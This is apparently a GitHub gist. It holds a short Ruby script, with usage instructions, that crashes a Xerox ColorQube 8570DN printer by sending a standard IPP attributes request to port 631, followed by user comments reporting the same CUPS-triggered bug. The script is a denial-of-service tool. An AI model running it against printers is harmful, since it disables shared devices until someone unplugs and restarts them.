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Crash a Xerox ColorQube 8570DN printer *hard*
#!/usr/bin/env ruby
# crash a Xerox ColorQube 8570DN *hard*. You'll have
# to unplug the piece of crap from the wall and let it
# have a little lie down. Then there's the 15 minute
# power-up. Deep joy.
#
# usage: crash_printer PRINTER_IP_ADDRESS
require 'socket'
# The payload is a simple IPP Printer Attributes Request
# as sent ubuntu linux 13.10 (CUPS 1.7rc1)
payload = [
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printer = ARGV.shift || raise("usage: crash_printer PRINTER_IP_ADDRESS")
sock = TCPSocket.new(printer, 631)
sock.puts payload.pack("c*")
sock.close
@blowback
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And what packet of nefarious evil is that, you might wonder? I'll tell you - it's the IPP Printer Attributes Request, as sent by CuPS 1.7rc1 on ubuntu linux 13.10.

IPP is the Internet Printing Protocol... joint-developed by Xerox, ironically.

@adamdunkley
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@blowback I just got this. Really really not fun. Did you manage to sort anything with yours in the end? Should I just try a different printing protocol?

@oobayly
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oobayly commented May 14, 2014

Did either of you have any joy with figuring this one out. This has started happening to be since upgrading cups

@relbud
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relbud commented Jul 20, 2015

Anybody get any joy solving this problem? I have the same issue with an 8870. Great printer, but does have its own special personality problems!

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